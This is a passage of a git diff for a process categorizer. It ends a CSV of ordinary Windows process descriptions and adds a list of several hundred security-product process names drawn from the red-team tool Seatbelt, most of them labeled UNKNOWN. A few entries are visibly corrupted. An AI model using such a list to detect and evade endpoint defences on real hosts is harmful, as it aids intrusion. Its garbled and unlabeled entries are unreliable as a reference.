DDK driver - Windows Setup API +adobearm.exe,Adobe - Acrobat Updater +AdobeUpdateService.exe, Adobe - Adobe Updater +aesm_service.exe,Intel Software Guard Extensions - Intel SGX Application Enclave Services Manager +AGMService.exe,Adobe - Genuine Software Service +AGSService.exe,Adobe - Genuine Software Integrity Service +Apoint.exe,Dell - TouchPad +ApplicationFrameHost.exe,Microsoft Windows - Application Frame Host +AppVShNotify.exe,Microsoft Windows - Application Virtualization Client Shell Notifier +armsvc.exe,Adobe - Adobe Acrobat Update Service +AUDIODG.EXE,Microsoft Windows - Windows Audio Device Graph Isolation +AuthManSvr.exe,Citrix - Citrix Authentication Manager +backgroundtaskhost.exe - Microsoft Windows - Background Task Host +BatteryExtenderUtil.exe,Dell Command | Power Manager - BatteryExtenderUtil +CCleaner64.exe,CCleaner - CCleaner +ciscod.exe,Cisco - AnyConnect Service +CiscoJabber.exe,Cisco - Jabber Messenger +CiscoWebexStart.exe,Cisco - Webex +cmd.exe,Microsoft Windows - Windows Command Processor +Code.exe,Visual Studio Code - Visual Studio Code +CodeHelper.exe,Visual Studio Code - CodeHelper +com.docker.backend.exe,Docker for Windows - Desktop Backend +com.docker.proxy.exe,Docker for Windows +com.docker.service,Docker for Windows - Service +com.docker.wsl-distro-proxy.exe,Docker for Windows - WSL Proxy +concentr.exe,Citrix - ICA Client +conhost.exe,Microsoft Windows - Console Window Host +CptService.exe,Zoom - Sharing Service(remote users can control desktop) +cscript.exe,Microsoft Windows - Windows Script Host +csrss.exe,Microsoft Windows - Client Server Runtime Process +ctfmon.exe,Microsoft Windows - Language Bar +CxAudioSvc.exe,Conexant - Audio Service +CxUtilSvc.exe,Conexant - Utility service for audio applications +dasHost.exe,Microsoft Windows - Device Association Framework Provider Host +devenv.exe,Microsoft - Visual Studio +DisplayLinkUI.exe, Display Link - DisplayLinkUI Sys-Tray Application +dllhost.exe,Microsoft Windows - COM Surrogate +Docker Desktop.exe,Docker for Windows - Desktop GUI +docker.exe,Docker for Windows - Docker Application +DolbyDAX2API.exe,Dolby Audio - DAX2 API Service +dptf_helper.exe,Intel Dynamic Platform and Thermal Framework Utility Application +DSAService.exe,Intel - Driver and Support Assistant Service +DSATray.exe,Intel - Driver and Support Assistant Tray +DSAUpdateService.exe,Intel - Driver and Support Assistant Update Service +dwm.exe,Microsoft Windows - Desktop WinptSrv.exedow Manager +EmCoreService.exe,Ivanti - AppSense User Virtualization Service for Policy/Personalization +EmSystem.exe,Ivanti - Environment Manager Client System Process +EmUser.exe,Ivanti - Environment Manager Client User Process +esif_uf.exe,Intel Dynamic Platform and Thermal Framework +esrv_svc.exe,Intel - Energy Checker Energy Server Service +esrv.exe,Intel - Energy Checker +EXCEL.EXE,Microsoft Excel +explorer.exe,Microsoft Windows - Windows Explorer +FMAPP.exe,Realtek - Fortemedia Audio Processing Application +fontdrvhost.exe,Microsoft Windows - Usermode Font Driver Host +GoogleUpdate.exe,Google - Updater Service +helppane.exe,Microsoft Windows - Microsoft Help and Support +HidFind.exe,Dell/Alps Electric Co., Ltd - TouchPad +HidMonitorSvc.exe,Dell/Alps Electric Co., Ltd - HID Monitor Service +HostControlService.exe,Broadcom - Credential Vault - Fingerprint Processing +HostStorageService.exe,Broadcom - Credential Vault - Persist CV Objects into Hard drive +IAStorDataMgrSvc.exe,Intel Rapid Storage Technology +IAStorIcon.exe,Intel Rapid Storage Technology +ibmpmsvc.exe,IBM - Lenovo Power Management Service +ibtsiva.exe,Intel - Wireless Bluetooth iBtSiva Service +IDContext.exe,Oracle - Enterprise Single Sign-On +igfxCUIService.exe,Intel Graphics Common User Interface +igfxEM.exe,Intel Graphics Common User Interface +igfxHK.exe,Intel Graphics Hot Key Control +inetinfo.exe,Internet Information Services +IntelAudioService.exe,Intel - Smart Sound Technology Audio Service +IntelCpHDCPSvc.exe,Intel Graphics High Definition Content Protection +IntelCpHeciSvc.exe,Intel Graphics Content Protection +ipoint.exe,Microsoft Mouse and Keyboard Center +IpOverUsbSvc.exe,Microsoft Windows Kits - Windows IP Over USB PC Service +ismserv.exe,Microsoft Windows - Windows NT Intersite Messaging Service +itype.exe,Microsoft Mouse and Keyboard Center +java.exe,Java Platform - Java Platform SE binary +jhi_service.exe,Intel Management Engine Componenet +jucheck.exe,Oracle Java - Java Updater +jusched.exe,Oracle Java - Java Updater +LMS.exe,Intel Local Management Service +LockApp.exe,Microsoft Windows - Windows Default Lock App +LPlatSvc.exe,Lenovo - Lenovo Platform Service +LsaIso.exe,Microsoft Windows - LSA Isolation - Cred Guard & Key Guard +lsass.exe,Microsoft Windows - Local Security Authority Process +lsm.exe,Microsoft Windows - Local Session Manager Service +lync.exe,Microsoft Office - Skype for Business +lynchtmlconv.exe,Microsoft Office - Unknown purpose +MBAMAgent.exe,Microsoft Bitlocker Administration and Monitoring +Memory Compression,Microsoft Windows - Memory compression (avoids paging) +Microsoft.Photos.exe,Microsoft Photos +MicTray64.exe,Conexant - MicTray +mobsync.exe,Microsoft Windows - Microsoft Sync Center +MOMPerfSnapshotHelper.exe,SCCM Performance Counter Application +msdtc.exe,Microsoft Windows - Microsoft Distributed Transaction Coordinator Service +msoia.exe,Microsoft Office - Telemetry Agent +notepad.exe,Microsoft Windows - Notepad +notepad++.exe,Notepad++ - Notepad++(text editor) +NotificationSvc.exe,Oracle - Enterprise Single Sign-On +nvapiw.exe,DDV(Dell Data Vault) Nvidia Graphics Worker +NVDisplay.Container.exe,NVIDIA +nvvsvc.exe,NVIDIA Driver Helper Service, Version 276.19 - NVIDIA Driver Helper Service, Version 276.19 +nvxdsync.exe,NVIDIA User Experience Driver Component - NVIDIA User Experience Driver Component +OfficeC2RClient.exe,Microsoft Office Updater +OfficeClickToRun.exe,Microsoft Office Updater +officesvcmgr.exe,Microsoft Office - Serviceability Manager +OneDrive.exe,Microsoft OneDrive File Storage +ONENOTE.EXE,Microsoft OneNote - Microsoft OneNote +ONENOTEM.EXE,Microsoft OneNote - Send to OneNote Tool +OUTLOOK.EXE,Microsoft Outlook - Microsoft Outlook +POWERPNT.EXE,Microsoft Office - Microsoft PowerPoint +PresentationFontCache.exe,Microsoft .NET Framework - PresentationFontCache.exe +PTIM.exe,Cisco WebEx +ptOIEx64.exe,Cisco WebEx - Meetings Desktop Application +ptoneclk.exe,Cisco WebEx - Meetings Desktop App +ptSrv.exe,Cisco WebEx - ptService Module +QcomWlanSrvx64.exe,Qualcomm Atheros WLAN Driver Service - Qualcomm Atheros Universal WLAN Driver Service +RAVBg64.exe,Realtek - HD Audio Background Process +RAVCpl64.exe,Realtek - Realtek HD Audio Manager +rdpclip.exe,RDP Clipboard Monitor +RdrCEF.exe,Adobe - Adobe Reader Cloud Extention Feature +redirector.exe,Citrix - FTA, URL Redirector +Registry,Microsoft Windows - Registry +RstMwService.exe,Intel - Rapid Storage Technology Management Service +RtkAudioService64.exe,Realtek Audio Service - Realtek Audio Service +RtkAudUService64.exe,Realtek HD Audio Universal Service +rundll32.exe,Microsoft Windows - Windows host process (Rundll32) +RuntimeBroker.exe,Microsoft Windows - Runtime Broker +SCNotification.exe,SCCM +SearchFilterHost.exe,Microsoft Windows - Microsoft Windows Search Filter Host +SearchIndexer.exe,Microsoft Windows - Microsoft Windows Search Indexer +SearchProtocolHost.exe,Microsoft Windows - Microsoft Windows Search Protocol Host +SearchUI.exe,Microsoft Windows - Search and Cortana application +SecomSDK.exe,Sennheiser - Softphone SDK +SecurityHealthService.exe,Microsoft Windows - Windows Security Health Service +SecurityHealthSystray.exe,Microsoft Windows - Security Health Systray Application +ServerManager.exe,Microsoft Windows - Server Manager +services.exe,Microsoft Windows - Services and Controller app +SettingSyncHost.exe,Microsoft Windows - Host Process for Setting Synchronization +sgrmBroker.exe,Microsoft Windows - System Guard Runtime Monitor Broker Service +ShellExperienceHost.exe,Microsoft Windows - Windows Shell Experience Host +SHTCTKY.EXE,Lenovo - ThinkPad Message Receiver for Shortcut Hot Keys +sidebar.exe,Microsoft Windows - Windows Desktop Gadgets +sihost.exe,Microsoft Windows - Shell Infrastructure Host +SkypeApp.exe,Skype +SkypeBackgroundHost.exe,Skype +SkypeHost.exe,Skype +slack.exe,Slack - Slack +smss.exe,Microsoft Windows - Windows Session Manager +Snagit32.exe,Snagit - Snagit +snagiteditor.exe,Snagit - Snagit Editor +SnagPriv.exe,SnagPriv - Snagit RPC Helper +SocketHeciServer.exe,Intel - Intel(R) Capability Licensing Service TCP IP Interface +spoolsv.exe,Microsoft Windows - Spooler SubSystem App +Spotify.exe,Spotify Music Player +spotifywebhelper.exe,Spotify Music Player +ssoauth.exe,Oracle - Enterprise Single Sign-On +ssobho.exe,Oracle - Enterprise Single Sign-On +ssocredcap.exe,Oracle - Enterprise Single Sign-On +ssocredcap64.exe,Oracle - Enterprise Single Sign-On +SSOSensSvc.exe,Oracle - Enterprise Single Sign-On +ssoshell.exe,Oracle - Enterprise Single Sign-On +ssouiaho.exe,Oracle - Enterprise Single Sign-On +ssowebho.exe,Oracle - Enterprise Single Sign-On +ssox64ho.exe,Oracle - Enterprise Single Sign-On +SurSvc.exe,Intel - System Usage Report Service +SUService.exe,Lenovo System Update +svchost.exe,Microsoft Windows - Host Process for Windows Services +System,Microsoft Windows - NT Kernel +SystemSettings.exe,Microsoft Windows - Settings +SystemSettingsBroker.exe,Microsoft Windows - System Settings Broker +taskeng.exe,Microsoft Windows - Task Scheduler Engine +taskhost.exe,Microsoft Windows - Host Process for Windows Tasks +taskhostex.exe,Microsoft Windows - Host Process for Windows Tasks +taskhostw.exe,Microsoft Windows - Host Process for Windows Tasks +tbtsvc.exe,Intel - Connects and manages Thunderbolt devices +Teams.exe,Microsoft Teams - Microsoft Teams Messenging +Thunderbolt.exe,Intel - Thunderbolt +TPHKLOAD.exe,Lenovo - ThinkPad Message Client Loader +tpnumlkd.exe,Lenovo - NumLock on screen display for ThinkPad +TPONSCR.EXE,Lenovo - On Screen Display Drawer +TPOSD.EXE,Lenovo - On screen display drawer +TPSCREX.EXE,Lenovo - ThinkPad UltraZoom +ucmapi.exe,Skype For Business - Unified Communications Messaging Application Programming Interface +unsecapp.exe,Microsoft Windows - Asynch Callback Sync for WMI Client Apps +upnpcont.exe,UPnP Device Host Container +vds.exe,Microsoft Windows - Virtual Disk Service +virtscrl.exe,Lenovo - Auto Scroll Utility +VISIO.exe,Microsoft Visio +vmcompute.exe,Microsoft - Hyper-V Host Compute Service +vmmem,Microsoft Windows - Virtual Machine Memory +vmms.exe,Microsoft - Virtual Machine Management Service +vmnat.exe,VMware Workstation - VMware NAT Service +vmnetdhcp.exe,VMware Workstation - VMware VMnet DHCP service +vmware-authd.exe,VMware Workstation - VMware Authorization Service +vmware-tray.exe,VMware Workstation - VMware Tray Process +vmware-unity-helper.exe,VMware Workstation - VMware Unity Helper +vmware-usbarbitrator64.exe,VMware - VMware USB Arbitration Service +vmware-vmx.exe,VMware Workstation - VMware Workstation VMX +vmware.exe,VMware Workstation - VMware Workstation +vpnui.exe,Cisco - AnyConnect User Interface +wbxcOIEx.exe,Cisco WebEx - WebEx Mapi Component +wbxcOIEx64.exe,Cisco WebEx - WebEx Mapi Component +WebexMTA.exe,Cisco WebEx - Multithreaded COM Apartment +wininit.exe,Microsoft Windows - Windows Start-Up Application +winlogon.exe,Microsoft Windows - Windows Logon Application +WinStore.App.exe,Microsoft Windows - Windows Store +WINWORD.EXE,Microsoft Word +wlanext.exe,Microsoft Windows - Wireless LAN 802.11 Extensibility Framework +wmiapsrv.exe,Microsoft Windows - WMI Performance Reverse Adapter +WORD.EXE,Microsoft Word +wscript.exe,Microsoft Windows - Windows Scripting Host +wsl.exe,Microsoft Windows - Subsystem for Linux Launcher +wslhost.exe,Microsoft Windows - Subsystem for Linux Background Host +wuauclt.exe,Microsoft Windows - Windows Update +WUDFHost.exe,Microsoft Windows - WDF User-mode Driver Framework Host \ No newline at end of file diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/data/security_products.csv b/cmd/enrichment/enrichment/tasks/process_categorizer/data/security_products.csv new file mode 100644 index 0000000..f31c5b8 --- /dev/null +++ b/cmd/enrichment/enrichment/tasks/process_categorizer/data/security_products.csv @@ -0,0 +1,679 @@ +# Format: , - +# Ref https://github.com/GhostPack/Seatbelt/blob/72dd355102324f6f319c88f03be6d2a62cf38ace/Seatbelt/Commands/Windows/InterestingProcessesCommand.cs#L30-L709 +mcshield.exe,McAfee +windefend.exe,Windows Defender AV +msascui.exe,Windows Defender AV +msascuil.exe,Windows Defender AV +msmpeng.exe,Windows Defender AV +msmpsvc.exe,Windows Defender AV +wrsa.exe,WebRoot AV +savservice.exe,Sophos AV +tmccsf.exe,Trend Micro AV +symantec antivirus.exe,Symantec +aexnsagent.exe,Symantec +ccsvchst.exe,Symantec +sisidsservice.exe,Symantec IDS +sisipsservice.exe,Symantec IPS +sisipsutil.exe,Symantec IPS +kvoop.exe,Symantec DLP +brkrprcs64.exe,Symantec DLP +edpa.exe,Symantec DLP +mbae.exe,MalwareBytes Anti-Exploit +parity.exe,Bit9 application whitelisting +cb.exe,Carbon Black behavioral analysis +repux.exe,Carbon Black Defense +repmgr.exe,Carbon Black Defense +reputils.exe,Carbon Black Defense +repwsc.exe,Carbon Black Defense +cylancesvc.exe,Cylance Protect +cylanceui.exe,Cylance Protect +bds-vision.exe,BDS Vision behavioral analysis +triumfant.exe,Triumfant behavioral analysis +csfalcon.exe,CrowdStrike Falcon EDR +csfalconcontainer.exe,CrowdStrike Falcon EDR +csfalconservice.exe,CrowdStrike Falcon EDR +ossec.exe,OSSEC intrusion detection +tmpfw.exe,Trend Micro firewall +dgagent.exe,Verdasys Digital Guardian DLP +aawtray.exe,UNKNOWN +ackwin32.exe,UNKNOWN +ad-aware.exe,UNKNOWN +adaware.exe,UNKNOWN +advxdwin.exe,UNKNOWN +agentsvr.exe,UNKNOWN +agentw.exe,UNKNOWN +alertsvc.exe,UNKNOWN +alevir.exe,UNKNOWN +alogserv.exe,UNKNOWN +amon9x.exe,UNKNOWN +anti-trojan.exe,UNKNOWN +antivirus.exe,UNKNOWN +ants.exe,UNKNOWN +apimonitor.exe,UNKNOWN +aplica32.exe,UNKNOWN +apvxdwin.exe,UNKNOWN +arr.exe,UNKNOWN +atcon.exe,UNKNOWN +atguard.exe,UNKNOWN +atro55en.exe,UNKNOWN +atupdater.exe,UNKNOWN +atwatch.exe,UNKNOWN +au.exe,UNKNOWN +aupdate.exe,UNKNOWN +auto-protect.nav80try.exe,UNKNOWN +autodown.exe,UNKNOWN +autoruns.exe,UNKNOWN +autorunsc.exe,UNKNOWN +autotrace.exe,UNKNOWN +autoupdate.exe,UNKNOWN +avconsol.exe,UNKNOWN +ave32.exe,UNKNOWN +avgcc32.exe,UNKNOWN +avgctrl.exe,UNKNOWN +avgemc.exe,UNKNOWN +avgnt.exe,UNKNOWN +avgrsx.exe,UNKNOWN +avgserv.exe,UNKNOWN +avgserv9.exe,UNKNOWN +avguard.exe,UNKNOWN +avgwdsvc.exe,UNKNOWN +avgui.exe,UNKNOWN +avgw.exe,UNKNOWN +avkpop.exe,UNKNOWN +avkserv.exe,UNKNOWN +avkservice.exe,UNKNOWN +avkwctl9.exe,UNKNOWN +avltmain.exe,UNKNOWN +avnt.exe,UNKNOWN +avp.exe,UNKNOWN +avp32.exe,UNKNOWN +avpcc.exe,UNKNOWN +avpdos32.exe,UNKNOWN +avpm.exe,UNKNOWN +avptc32.exe,UNKNOWN +avpupd.exe,UNKNOWN +avsched32.exe,UNKNOWN +avsynmgr.exe,UNKNOWN +avwin.exe,UNKNOWN +avwin95.exe,UNKNOWN +avwinnt.exe,UNKNOWN +avwupd.exe,UNKNOWN +avwupd32.exe,UNKNOWN +avwupsrv.exe,UNKNOWN +avxmonitor9x.exe,UNKNOWN +avxmonitornt.exe,UNKNOWN +avxquar.exe,UNKNOWN +backweb.exe,UNKNOWN +bargains.exe,UNKNOWN +bd_professional.exe,UNKNOWN +beagle.exe,UNKNOWN +belt.exe,UNKNOWN +besclient.exe,IBM BigFix +bidef.exe,UNKNOWN +bidserver.exe,UNKNOWN +bipcp.exe,UNKNOWN +bipcpevalsetup.exe,UNKNOWN +bisp.exe,UNKNOWN +blackd.exe,UNKNOWN +blackice.exe,UNKNOWN +blink.exe,UNKNOWN +blss.exe,UNKNOWN +bootconf.exe,UNKNOWN +bootwarn.exe,UNKNOWN +borg2.exe,UNKNOWN +bpc.exe,UNKNOWN +brasil.exe,UNKNOWN +bs120.exe,UNKNOWN +bundle.exe,UNKNOWN +bvt.exe,UNKNOWN +ccapp.exe,UNKNOWN +ccevtmgr.exe,UNKNOWN +ccpxysvc.exe,UNKNOWN +cdp.exe,UNKNOWN +cfd.exe,UNKNOWN +cfgwiz.exe,UNKNOWN +cfiadmin.exe,UNKNOWN +cfiaudit.exe,UNKNOWN +cfinet.exe,UNKNOWN +cfinet32.exe,UNKNOWN +claw95.exe,UNKNOWN +claw95cf.exe,UNKNOWN +clean.exe,UNKNOWN +cleaner.exe,UNKNOWN +cleaner3.exe,UNKNOWN +cleanpc.exe,UNKNOWN +cleanup.exe,UNKNOWN +click.exe,UNKNOWN +cmdagent.exe,UNKNOWN +cmesys.exe,UNKNOWN +cmgrdian.exe,UNKNOWN +cmon016.exe,UNKNOWN +connectionmonitor.exe,UNKNOWN +cpd.exe,UNKNOWN +cpf9x206.exe,UNKNOWN +cpfnt206.exe,UNKNOWN +ctrl.exe,UNKNOWN +cv.exe,UNKNOWN +cwnb181.exe,UNKNOWN +cwntdwmo.exe,UNKNOWN +cyprotect.exe,UNKNOWN +cyupdate.exe,UNKNOWN +cyserver.exe,UNKNOWN +cytray.exe,UNKNOWN +cyveraservice.exe,UNKNOWN +datemanager.exe,UNKNOWN +dcomx.exe,UNKNOWN +defalert.exe,UNKNOWN +defscangui.exe,UNKNOWN +defwatch.exe,UNKNOWN +deputy.exe,UNKNOWN +divx.exe,UNKNOWN +dgprompt.exe,UNKNOWN +dgservice.exe,UNKNOWN +dllcache.exe,UNKNOWN +dllreg.exe,UNKNOWN +doors.exe,UNKNOWN +dpf.exe,UNKNOWN +dpfsetup.exe,UNKNOWN +dpps2.exe,UNKNOWN +drwatson.exe,UNKNOWN +drweb32.exe,UNKNOWN +drwebupw.exe,UNKNOWN +dssagent.exe,UNKNOWN +dumpcap.exe,UNKNOWN +dvp95.exe,UNKNOWN +dvp95_0.exe,UNKNOWN +ecengine.exe,UNKNOWN +efpeadm.exe,UNKNOWN +egui.exe,UNKNOWN +ekrn.exe,UNKNOWN +enstart64.exe,Encase (Forensics tool) +emet_agent.exe,UNKNOWN +emet_service.exe,UNKNOWN +emsw.exe,UNKNOWN +engineserver.exe,UNKNOWN +ent.exe,UNKNOWN +esafe.exe,UNKNOWN +escanhnt.exe,UNKNOWN +escanv95.exe,UNKNOWN +espwatch.exe,UNKNOWN +ethereal.exe,UNKNOWN +etrustcipe.exe,UNKNOWN +evpn.exe,UNKNOWN +exantivirus-cnet.exe,UNKNOWN +exe.avxw.exe,UNKNOWN +expert.exe,UNKNOWN +explore.exe,UNKNOWN +f-agnt95.exe,UNKNOWN +f-prot.exe,UNKNOWN +f-prot95.exe,UNKNOWN +f-stopw.exe,UNKNOWN +fameh32.exe,UNKNOWN +fast.exe,UNKNOWN +fch32.exe,UNKNOWN +fcagswd.exe,McAfee DLP Agent +fcags.exe,McAfee DLP Agent +fih32.exe,UNKNOWN +findviru.exe,UNKNOWN +firesvc.exe,McAfee Host Intrusion Prevention +firetray.exe,UNKNOWN +firewall.exe,UNKNOWN +fnrb32.exe,UNKNOWN +fp-win.exe,UNKNOWN +fp-win_trial.exe,UNKNOWN +fprot.exe,UNKNOWN +frameworkservice.exe,UNKNOWN +frminst.exe,UNKNOWN +frw.exe,UNKNOWN +fsaa.exe,UNKNOWN +fsav.exe,UNKNOWN +fsav32.exe,UNKNOWN +fsav530stbyb.exe,UNKNOWN +fsav530wtbyb.exe,UNKNOWN +fsav95.exe,UNKNOWN +fsgk32.exe,UNKNOWN +fsm32.exe,UNKNOWN +fsma32.exe,UNKNOWN +fsmb32.exe,UNKNOWN +gator.exe,UNKNOWN +gbmenu.exe,UNKNOWN +gbpoll.exe,UNKNOWN +generics.exe,UNKNOWN +gmt.exe,UNKNOWN +guard.exe,UNKNOWN +guarddog.exe,UNKNOWN +hacktracersetup.exe,UNKNOWN +hbinst.exe,UNKNOWN +hbsrv.exe,UNKNOWN +hijackthis.exe,UNKNOWN +hipsvc.exe,UNKNOWN +hipmgmt.exe,McAfee Host Intrusion Protection +hotactio.exe,UNKNOWN +hotpatch.exe,UNKNOWN +htlog.exe,UNKNOWN +htpatch.exe,UNKNOWN +hwpe.exe,UNKNOWN +hxdl.exe,UNKNOWN +hxiul.exe,UNKNOWN +iamapp.exe,UNKNOWN +iamserv.exe,UNKNOWN +iamstats.exe,UNKNOWN +ibmasn.exe,UNKNOWN +ibmavsp.exe,UNKNOWN +icload95.exe,UNKNOWN +icloadnt.exe,UNKNOWN +icmon.exe,UNKNOWN +icsupp95.exe,UNKNOWN +icsuppnt.exe,UNKNOWN +idle.exe,UNKNOWN +iedll.exe,UNKNOWN +iedriver.exe,UNKNOWN +iface.exe,UNKNOWN +ifw2000.exe,UNKNOWN +inetlnfo.exe,UNKNOWN +infus.exe,UNKNOWN +infwin.exe,UNKNOWN +init.exe,UNKNOWN +intdel.exe,UNKNOWN +intren.exe,UNKNOWN +iomon98.exe,UNKNOWN +istsvc.exe,UNKNOWN +jammer.exe,UNKNOWN +jdbgmrg.exe,UNKNOWN +jedi.exe,UNKNOWN +kavlite40eng.exe,UNKNOWN +kavpers40eng.exe,UNKNOWN +kavpf.exe,UNKNOWN +kazza.exe,UNKNOWN +keenvalue.exe,UNKNOWN +kerio-pf-213-en-win.exe,UNKNOWN +kerio-wrl-421-en-win.exe,UNKNOWN +kerio-wrp-421-en-win.exe,UNKNOWN +kernel32.exe,UNKNOWN +keypass.exe,UNKNOWN +killprocesssetup161.exe,UNKNOWN +launcher.exe,UNKNOWN +ldnetmon.exe,UNKNOWN +ldpro.exe,UNKNOWN +ldpromenu.exe,UNKNOWN +ldscan.exe,UNKNOWN +lnetinfo.exe,UNKNOWN +loader.exe,UNKNOWN +localnet.exe,UNKNOWN +lockdown.exe,UNKNOWN +lockdown2000.exe,UNKNOWN +lookout.exe,UNKNOWN +lordpe.exe,UNKNOWN +lsetup.exe,UNKNOWN +luall.exe,UNKNOWN +luau.exe,UNKNOWN +lucomserver.exe,UNKNOWN +luinit.exe,UNKNOWN +luspt.exe,UNKNOWN +mapisvc32.exe,UNKNOWN +macmnsvc.exe,McAfee +macompatsvc.exe,McAfee +masvc.exe,McAfee +mfeesp.exe,McAfee +mfemactl.exe,McAfee +mfetp.exe,McAfee +mfecanary.exe,McAfee +mfemms.exe,McAfee +mbamservice.exe,UNKNOWN +mcafeefire.exe,UNKNOWN +mcagent.exe,UNKNOWN +mcmnhdlr.exe,UNKNOWN +mcscript.exe,UNKNOWN +mcscript_inuse.exe,UNKNOWN +mctool.exe,UNKNOWN +mctray.exe,UNKNOWN +mcupdate.exe,UNKNOWN +mcvsrte.exe,UNKNOWN +mcvsshld.exe,UNKNOWN +md.exe,UNKNOWN +mfeann.exe,McAfee VirusScan Enterprise +mfevtps.exe,UNKNOWN +mfin32.exe,UNKNOWN +mfw2en.exe,UNKNOWN +mfweng3.02d30.exe,UNKNOWN +mgavrtcl.exe,UNKNOWN +mgavrte.exe,UNKNOWN +mghtml.exe,UNKNOWN +mgui.exe,UNKNOWN +minilog.exe,UNKNOWN +minionhost.exe,Cyberreason +mmod.exe,UNKNOWN +monitor.exe,UNKNOWN +moolive.exe,UNKNOWN +mostat.exe,UNKNOWN +mpfagent.exe,UNKNOWN +mpfservice.exe,UNKNOWN +mpftray.exe,UNKNOWN +mrflux.exe,UNKNOWN +msapp.exe,UNKNOWN +msbb.exe,UNKNOWN +msblast.exe,UNKNOWN +mscache.exe,UNKNOWN +msccn32.exe,UNKNOWN +mscman.exe,UNKNOWN +msconfig.exe,UNKNOWN +msdm.exe,UNKNOWN +msdos.exe,UNKNOWN +msiexec16.exe,UNKNOWN +msinfo32.exe,UNKNOWN +mslaugh.exe,UNKNOWN +msmgt.exe,UNKNOWN +msmsgri32.exe,UNKNOWN +mssense.exe,Microsoft Defender ATP +sensecncproxy.exe,Microsoft Defender ATP +mssmmc32.exe,UNKNOWN +mssys.exe,UNKNOWN +msvxd.exe,UNKNOWN +mu0311ad.exe,UNKNOWN +mwatch.exe,UNKNOWN +n32scanw.exe,UNKNOWN +naprdmgr.exe,UNKNOWN +nav.exe,UNKNOWN +navap.navapsvc.exe,UNKNOWN +navapsvc.exe,UNKNOWN +navapw32.exe,UNKNOWN +navdx.exe,UNKNOWN +navlu32.exe,UNKNOWN +navnt.exe,UNKNOWN +navstub.exe,UNKNOWN +navw32.exe,UNKNOWN +navwnt.exe,UNKNOWN +nc2000.exe,UNKNOWN +ncinst4.exe,UNKNOWN +ndd32.exe,UNKNOWN +neomonitor.exe,UNKNOWN +neowatchlog.exe,UNKNOWN +netarmor.exe,UNKNOWN +netd32.exe,UNKNOWN +netinfo.exe,UNKNOWN +netmon.exe,UNKNOWN +netscanpro.exe,UNKNOWN +netspyhunter-1.2.exe,UNKNOWN +netstat.exe,UNKNOWN +netutils.exe,UNKNOWN +nisserv.exe,UNKNOWN +nisum.exe,UNKNOWN +nmain.exe,UNKNOWN +nod32.exe,UNKNOWN +normist.exe,UNKNOWN +norton_internet_secu_3.0_407.exe,UNKNOWN +notstart.exe,UNKNOWN +npf40_tw_98_nt_me_2k.exe,UNKNOWN +npfmessenger.exe,UNKNOWN +nprotect.exe,UNKNOWN +npscheck.exe,UNKNOWN +npssvc.exe,UNKNOWN +nsched32.exe,UNKNOWN +nssys32.exe,UNKNOWN +nstask32.exe,UNKNOWN +nsupdate.exe,UNKNOWN +nt.exe,UNKNOWN +ntrtscan.exe,UNKNOWN +ntvdm.exe,UNKNOWN +ntxconfig.exe,UNKNOWN +nui.exe,UNKNOWN +nupgrade.exe,UNKNOWN +nvarch16.exe,UNKNOWN +nvc95.exe,UNKNOWN +nvsvc32.exe,UNKNOWN +nwinst4.exe,UNKNOWN +nwservice.exe,UNKNOWN +nwtool16.exe,UNKNOWN +nxlog.exe,UNKNOWN +ollydbg.exe,UNKNOWN +onsrvr.exe,UNKNOWN +optimize.exe,UNKNOWN +ostronet.exe,UNKNOWN +osqueryd.exe,UNKNOWN +otfix.exe,UNKNOWN +outpost.exe,UNKNOWN +outpostinstall.exe,UNKNOWN +outpostproinstall.exe,UNKNOWN +padmin.exe,UNKNOWN +panixk.exe,UNKNOWN +patch.exe,UNKNOWN +pavcl.exe,UNKNOWN +pavproxy.exe,UNKNOWN +pavsched.exe,UNKNOWN +pavw.exe,UNKNOWN +pccwin98.exe,UNKNOWN +pcfwallicon.exe,UNKNOWN +pcip10117_0.exe,UNKNOWN +pcscan.exe,UNKNOWN +pdsetup.exe,UNKNOWN +periscope.exe,UNKNOWN +persfw.exe,UNKNOWN +perswf.exe,UNKNOWN +pf2.exe,UNKNOWN +pfwadmin.exe,UNKNOWN +pgmonitr.exe,UNKNOWN +pingscan.exe,UNKNOWN +platin.exe,UNKNOWN +pop3trap.exe,UNKNOWN +poproxy.exe,UNKNOWN +popscan.exe,UNKNOWN +portdetective.exe,UNKNOWN +portmonitor.exe,UNKNOWN +powerscan.exe,UNKNOWN +ppinupdt.exe,UNKNOWN +pptbc.exe,UNKNOWN +ppvstop.exe,UNKNOWN +prizesurfer.exe,UNKNOWN +prmt.exe,UNKNOWN +prmvr.exe,UNKNOWN +procdump.exe,UNKNOWN +processmonitor.exe,UNKNOWN +procexp.exe,UNKNOWN +procexp64.exe,UNKNOWN +procexplorerv1.0.exe,UNKNOWN +procmon.exe,UNKNOWN +programauditor.exe,UNKNOWN +proport.exe,UNKNOWN +protectx.exe,UNKNOWN +pspf.exe,UNKNOWN +purge.exe,UNKNOWN +qconsole.exe,UNKNOWN +qserver.exe,UNKNOWN +rapapp.exe,UNKNOWN +rav7.exe,UNKNOWN +rav7win.exe,UNKNOWN +rav8win32eng.exe,UNKNOWN +ray.exe,UNKNOWN +rb32.exe,UNKNOWN +rcsync.exe,UNKNOWN +realmon.exe,UNKNOWN +reged.exe,UNKNOWN +regedit.exe,UNKNOWN +regedt32.exe,UNKNOWN +rescue.exe,UNKNOWN +rescue32.exe,UNKNOWN +rrguard.exe,UNKNOWN +rtvscan.exe,UNKNOWN +rtvscn95.exe,UNKNOWN +rulaunch.exe,UNKNOWN +run32dll.exe,UNKNOWN +rundll.exe,UNKNOWN +rundll16.exe,UNKNOWN +ruxdll32.exe,UNKNOWN +safeweb.exe,UNKNOWN +sahagent.exescan32.exe,UNKNOWN +save.exe,UNKNOWN +savenow.exe,UNKNOWN +sbserv.exe,UNKNOWN +scam32.exe,UNKNOWN +scan32.exe,UNKNOWN +scan95.exe,UNKNOWN +scanpm.exe,UNKNOWN +scrscan.exe,UNKNOWN +sentinelone.exe,SentinelOne Endpoint Security Software +serv95.exe,UNKNOWN +setupvameeval.exe,UNKNOWN +setup_flowprotector_us.exe,UNKNOWN +sfc.exe,UNKNOWN +sgssfw32.exe,UNKNOWN +sh.exe,UNKNOWN +shellspyinstall.exe,UNKNOWN +shn.exe,UNKNOWN +showbehind.exe,UNKNOWN +shstat.exe,McAfee VirusScan Enterprise +smc.exe,UNKNOWN +sms.exe,UNKNOWN +smcgui.exe,Symantec Endpoint Detection +smss32.exe,UNKNOWN +snac64.exe,Symantec Endpoint Detection +wdp.exe,Symantec Endpoint Detection +sofi.exe,UNKNOWN +sperm.exe,UNKNOWN +splunk.exe,Splunk +splunkd.exe,Splunk 